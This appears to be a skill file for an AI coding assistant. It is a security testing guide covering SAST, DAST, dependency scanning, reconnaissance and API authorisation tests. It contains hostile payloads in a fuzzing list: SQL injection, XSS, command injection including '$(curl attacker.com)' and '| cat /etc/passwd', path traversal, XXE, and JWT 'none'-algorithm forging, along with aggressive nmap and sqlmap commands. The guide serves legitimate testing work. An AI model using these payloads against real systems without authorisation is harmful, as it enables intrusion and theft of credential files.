Security testing patterns including SAST, DAST, penetration testing, and vulnerability assessment techniques. Use when implementing security testing pipelines, conducting security audits, or validating application security controls.
This skill inherits all available tools. When active, it can use any tool Claude has access to.
Expert guidance for implementing comprehensive security testing strategies including static analysis, dynamic testing, penetration testing, and vulnerability assessment.
Layered Approach to Security Testing:
SAST analyzes source code, bytecode, or binaries without executing the application to identify security vulnerabilities.
Strengths:
Limitations:
JavaScript/TypeScript:
# ESLint with security plugins
npm install --save-dev eslint eslint-plugin-security
# SonarQube scanner
npm install --save-dev sonarqube-scanner
# Semgrep - polyglot static analysis
npm install -g @semgrep/cli
semgrep --config=auto src/
Python:
# Bandit - Python security linter
pip install bandit
bandit -r ./src -f json -o security-report.json
# Semgrep for Python
semgrep --config=p/python src/
Java:
# SpotBugs with Find Security Bugs plugin
mvn spotbugs:check
# SonarQube
mvn sonar:sonar
GitHub Actions Example:
name: Security Scan
on: [push, pull_request]
jobs:
sast:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Run Semgrep
uses: returntocorp/semgrep-action@v1
with:
config: >-
p/security-audit
p/owasp-top-ten
p/javascript
- name: Run ESLint Security
run: |
npm install
npm run lint:security
- name: SonarCloud Scan
uses: SonarSource/sonarcloud-github-action@master
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}
ESLint Security Rule Example:
// .eslintrc.js
module.exports = {
plugins: ['security'],
extends: ['plugin:security/recommended'],
rules: {
'security/detect-object-injection': 'error',
'security/detect-non-literal-regexp': 'warn',
'security/detect-unsafe-regex': 'error',
'security/detect-buffer-noassert': 'error',
'security/detect-child-process': 'warn',
'security/detect-disable-mustache-escape': 'error',
'security/detect-eval-with-expression': 'error',
'security/detect-no-csrf-before-method-override': 'error',
'security/detect-non-literal-fs-filename': 'warn',
'security/detect-non-literal-require': 'warn',
'security/detect-possible-timing-attacks': 'warn',
'security/detect-pseudoRandomBytes': 'error'
}
};
Semgrep Custom Rule:
# rules/hardcoded-secrets.yml
rules:
- id: hardcoded-api-key
pattern: |
const $VAR = "$SECRET"
message: Potential hardcoded API key detected
severity: ERROR
languages: [javascript, typescript]
metadata:
cwe: "CWE-798: Use of Hard-coded Credentials"
owasp: "A07:2021 - Identification and Authentication Failures"
DAST tests running applications by simulating attacks from the outside, identifying vulnerabilities through black-box testing.
Strengths:
Limitations:
Basic Scan:
# Docker-based ZAP scan
docker run -t owasp/zap2docker-stable zap-baseline.py \
-t https://example.com \
-r zap-report.html
# Full scan with authentication
docker run -t owasp/zap2docker-stable zap-full-scan.py \
-t https://example.com \
-c zap-config.conf \
-r zap-full-report.html
ZAP Configuration File:
# zap-config.conf
# Authentication configuration
auth.loginUrl=https://example.com/login
auth.username=testuser
auth.password=testpass
auth.usernameField=email
auth.passwordField=password
# Exclusions
exclude.urls=https://example.com/logout,https://example.com/admin
# Spider settings
spider.maxDepth=5
spider.threadCount=2
# Active scan settings
scanner.strength=MEDIUM
scanner.attackStrength=MEDIUM
ZAP API Integration:
// Node.js ZAP API client
const ZapClient = require('zaproxy');
async function runZapScan(targetUrl) {
const zap = new ZapClient({
apiKey: process.env.ZAP_API_KEY,
proxy: 'http://localhost:8080'
});
// Start spider scan
const spiderId = await zap.spider.scan(targetUrl);
await zap.spider.waitForComplete(spiderId);
// Start active scan
const scanId = await zap.ascan.scan(targetUrl);
await zap.ascan.waitForComplete(scanId);
// Get alerts
const alerts = await zap.core.alerts();
// Generate report
const report = await zap.core.htmlreport();
return { alerts, report };
}
Automated Scanning with Burp Suite:
# Burp Suite Enterprise API
curl -X POST "https://burp-enterprise.local/api/v1/scan" \
-H "Authorization: Bearer $BURP_API_KEY" \
-H "Content-Type: application/json" \
-d '{
"scope": {
"included": [{"rule": "https://example.com", "type": "SimpleScopeDef"}]
},
"scan_configuration_ids": ["basic-crawl-and-audit"]
}'
GitLab CI Example:
# .gitlab-ci.yml
dast:
stage: security
image: registry.gitlab.com/gitlab-org/security-products/dast:latest
variables:
DAST_WEBSITE: https://staging.example.com
DAST_AUTH_URL: https://staging.example.com/login
DAST_USERNAME: $DAST_USERNAME
DAST_PASSWORD: $DAST_PASSWORD
script:
- /analyze
artifacts:
reports:
dast: gl-dast-report.json
only:
- main
- staging
npm audit:
# Basic vulnerability check
npm audit
# Generate detailed JSON report
npm audit --json > security-audit.json
# Fix automatically
npm audit fix
# Fix with breaking changes
npm audit fix --force
Snyk Integration:
# Install Snyk CLI
npm install -g snyk
# Authenticate
snyk auth
# Test for vulnerabilities
snyk test
# Monitor project
snyk monitor
# Test with custom severity threshold
snyk test --severity-threshold=high
# Generate JSON report
snyk test --json > snyk-report.json
GitHub Dependabot Configuration:
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "daily"
open-pull-requests-limit: 10
reviewers:
- "security-team"
labels:
- "security"
- "dependencies"
# Security updates only
versioning-strategy: increase-if-necessary
OWASP Dependency-Check:
# Run dependency check
dependency-check --project "MyApp" \
--scan ./package.json \
--format JSON \
--out ./reports
# With suppression file
dependency-check --project "MyApp" \
--scan ./package.json \
--suppression ./dependency-check-suppressions.xml \
--format HTML \
--out ./reports
Subdomain Enumeration:
# Using subfinder
subfinder -d example.com -o subdomains.txt
# Using amass
amass enum -d example.com -o amass-results.txt
# DNS enumeration
dnsenum example.com
Port Scanning:
# Nmap comprehensive scan
nmap -sV -sC -O -A -p- example.com
# Fast scan of common ports
nmap -F -T4 example.com
# Service version detection
nmap -sV --version-intensity 5 example.com
Web Vulnerability Scanning:
# Nikto web server scanner
nikto -h https://example.com -output nikto-report.html -Format htm
# WPScan for WordPress
wpscan --url https://wordpress.example.com --enumerate ap,at,cb,dbe
# SQLMap for SQL injection
sqlmap -u "https://example.com/page?id=1" --batch --level=5 --risk=3
Authentication Testing Checklist:
// Test cases for authentication
const authenticationTests = [
{
name: "Brute Force Protection",
test: async () => {
// Attempt multiple failed logins
for (let i = 0; i < 10; i++) {
await login({ username: 'test', password: 'wrong' });
}
// Verify account lockout or rate limiting
}
},
{
name: "Password Reset Token Security",
test: async () => {
const token = await requestPasswordReset('user@example.com');
// Verify token entropy
// Test token expiration
// Attempt token reuse
// Test token predictability
}
},
{
name: "Session Fixation",
test: async () => {
const sessionBefore = getSessionId();
await login({ username: 'test', password: 'password' });
const sessionAfter = getSessionId();
// Verify session ID changes after authentication
assert(sessionBefore !== sessionAfter);
}
},
{
name: "Session Timeout",
test: async () => {
await login({ username: 'test', password: 'password' });
await wait(30 * 60 * 1000); // 30 minutes
// Verify session is invalidated
const response = await makeAuthenticatedRequest();
assert(response.status === 401);
}
}
];
Authorization Testing:
// Privilege escalation tests
const authorizationTests = {
async testHorizontalPrivilegeEscalation() {
// User A tries to access User B's resources
const userA = await login({ username: 'userA', password: 'passA' });
const userBResource = '/api/users/userB/profile';
const response = await fetch(userBResource, {
headers: { Authorization: `Bearer ${userA.token}` }
});
assert(response.status === 403, 'Horizontal privilege escalation possible');
},
async testVerticalPrivilegeEscalation() {
// Regular user tries to access admin functions
const regularUser = await login({ username: 'user', password: 'pass' });
const adminEndpoint = '/api/admin/users';
const response = await fetch(adminEndpoint, {
headers: { Authorization: `Bearer ${regularUser.token}` }
});
assert(response.status === 403, 'Vertical privilege escalation possible');
},
async testInsecureDirectObjectReference() {
// Test sequential ID enumeration
const user = await login({ username: 'user', password: 'pass' });
for (let id = 1; id <= 100; id++) {
const response = await fetch(`/api/documents/${id}`, {
headers: { Authorization: `Bearer ${user.token}` }
});
if (response.status === 200) {
console.log(`IDOR vulnerability: User can access document ${id}`);
}
}
}
};
API1: Broken Object Level Authorization:
// Test for BOLA vulnerabilities
async function testBOLA(apiUrl, authToken) {
const testCases = [
{
name: "Access other user's resource",
endpoint: `${apiUrl}/users/999/orders`,
method: 'GET'
},
{
name: "Modify other user's resource",
endpoint: `${apiUrl}/users/999/profile`,
method: 'PUT',
body: { name: 'Attacker' }
},
{
name: "Delete other user's resource",
endpoint: `${apiUrl}/users/999/account`,
method: 'DELETE'
}
];
for (const test of testCases) {
const response = await fetch(test.endpoint, {
method: test.method,
headers: {
'Authorization': `Bearer ${authToken}`,
'Content-Type': 'application/json'
},
body: test.body ? JSON.stringify(test.body) : undefined
});
if (response.status === 200) {
console.error(`BOLA vulnerability: ${test.name}`);
}
}
}
API2: Broken Authentication:
// JWT security tests
function testJWTSecurity(token) {
const tests = {
// Test 1: Algorithm confusion
noneAlgorithm: () => {
const decoded = jwt.decode(token, { complete: true });
const payload = decoded.payload;
// Create token with "none" algorithm
const maliciousToken = jwt.sign(payload, '', { algorithm: 'none' });
return maliciousToken;
},
// Test 2: Weak secret
weakSecret: async () => {
const commonSecrets = ['secret', '123456', 'password', 'jwt'];
for (const secret of commonSecrets) {
try {
jwt.verify(token, secret);
console.error(`Weak JWT secret detected: ${secret}`);
return true;
} catch (err) {
// Continue testing
}
}
return false;
},
// Test 3: Token expiration
expiration: () => {
const decoded = jwt.decode(token);
if (!decoded.exp) {
console.error('JWT token has no expiration');
return false;
}
const expirationTime = decoded.exp - decoded.iat;
if (expirationTime > 3600) { // More than 1 hour
console.warn('JWT token has long expiration time');
}
return true;
}
};
return tests;
}
API3: Excessive Data Exposure:
// Test for data leakage
async function testDataExposure(apiUrl, authToken) {
const response = await fetch(`${apiUrl}/users/me`, {
headers: { Authorization: `Bearer ${authToken}` }
});
const userData = await response.json();
// Check for sensitive fields
const sensitiveFields = [
'password', 'passwordHash', 'ssn', 'creditCard',
'bankAccount', 'taxId', 'secret', 'privateKey'
];
const exposedFields = sensitiveFields.filter(field =>
JSON.stringify(userData).toLowerCase().includes(field.toLowerCase())
);
if (exposedFields.length > 0) {
console.error('Sensitive data exposed:', exposedFields);
}
}
API4: Lack of Resources & Rate Limiting:
// Rate limiting test
async function testRateLimiting(apiUrl, authToken) {
const endpoint = `${apiUrl}/api/search`;
const requests = 100;
const results = [];
console.log(`Sending ${requests} requests...`);
for (let i = 0; i < requests; i++) {
const start = Date.now();
try {
const response = await fetch(endpoint, {
headers: { Authorization: `Bearer ${authToken}` }
});
results.push({
status: response.status,
time: Date.now() - start,
rateLimitRemaining: response.headers.get('X-RateLimit-Remaining')
});
} catch (err) {
results.push({ error: err.message });
}
}
// Analyze results
const successfulRequests = results.filter(r => r.status === 200).length;
const rateLimited = results.filter(r => r.status === 429).length;
console.log(`Successful: ${successfulRequests}/${requests}`);
console.log(`Rate limited: ${rateLimited}/${requests}`);
if (successfulRequests === requests) {
console.error('No rate limiting detected - API vulnerable to abuse');
}
}
Basic Fuzzing Framework:
// Fuzzing test data generators
const fuzzingPayloads = {
sqlInjection: [
"' OR '1'='1",
"'; DROP TABLE users--",
"1' UNION SELECT NULL--",
"admin'--",
"' OR 1=1--"
],
xss: [
"<script>alert('XSS')</script>",
"<img src=x onerror=alert('XSS')>",
"javascript:alert('XSS')",
"<svg onload=alert('XSS')>",
"'-alert('XSS')-'"
],
commandInjection: [
"; ls -la",
"| cat /etc/passwd",
"& whoami",
"`id`",
"$(curl attacker.com)"
],
pathTraversal: [
"../../../etc/passwd",
"..\\..\\..\\windows\\system32\\config\\sam",
"....//....//....//etc/passwd",
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
],
bufferOverflow: [
"A".repeat(1000),
"A".repeat(10000),
"%s%s%s%s%s%s%s%s%s%s",
"\x00" + "A".repeat(100)
],
xmlInjection: [
"<?xml version='1.0'?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><foo>&xxe;</foo>",
"<![CDATA[<script>alert('XSS')</script>]]>"
]
};
// Fuzzing test runner
async function fuzzEndpoint(url, parameter, payloads) {
const results = [];
for (const payload of payloads) {
try {
const response = await fetch(url, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ [parameter]: payload })
});
const body = await response.text();
results.push({
payload,
status: response.status,
vulnerable: detectVulnerability(body, payload)
});
} catch (err) {
results.push({ payload, error: err.message });
}
}
return results.filter(r => r.vulnerable);
}
Property-Based Testing for Security:
// Using fast-check for property-based fuzzing
const fc = require('fast-check');
describe('Security Properties', () => {
it('should sanitize all user input', () => {
fc.assert(
fc.property(
fc.string(), // Generate random strings
(input) => {
const sanitized = sanitizeInput(input);
// Property: sanitized output should not contain script tags
return !/<script/i.test(sanitized);
}
),
{ numRuns: 1000 } // Run 1000 times with random inputs
);
});
it('should prevent SQL injection in queries', () => {
fc.assert(
fc.property(
fc.string(),
fc.string(),
(username, password) => {
const query = buildLoginQuery(username, password);
// Property: query should use parameterization
return !query.includes(username) && !query.includes(password);
}
)
);
});
});
# security-pipeline.yml
name: Security Testing Pipeline
on:
push:
branches: [main, develop]
pull_request:
branches: [main]
schedule:
- cron: '0 2 * * *' # Daily at 2 AM
jobs:
secrets-scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
with:
fetch-depth: 0
- name: TruffleHog Secret Scan
uses: trufflesecurity/trufflehog@main
with:
path: ./
base: ${{ github.event.repository.default_branch }}
head: HEAD
sast:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Semgrep Scan
uses: returntocorp/semgrep-action@v1
with:
config: >-
p/security-audit
p/owasp-top-ten
- name: CodeQL Analysis
uses: github/codeql-action/analyze@v2
sca:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Snyk Dependency Scan
uses: snyk/actions/node@master
env:
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
with:
args: --severity-threshold=high
- name: OWASP Dependency Check
uses: dependency-check/Dependency-Check_Action@main
with:
project: 'MyApp'
path: '.'
format: 'JSON'
dast:
runs-on: ubuntu-latest
needs: [sast, sca]
steps:
- name: Deploy to Test Environment
run: |
# Deploy application
- name: OWASP ZAP Scan
uses: zaproxy/action-baseline@v0.7.0
with:
target: 'https://test.example.com'
rules_file_name: '.zap/rules.tsv'
cmd_options: '-a'
container-scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Trivy Container Scan
uses: aquasecurity/trivy-action@master
with:
image-ref: 'myapp:latest'
format: 'sarif'
output: 'trivy-results.sarif'
- name: Upload Trivy Results
uses: github/codeql-action/upload-sarif@v2
with:
sarif_file: 'trivy-results.sarif'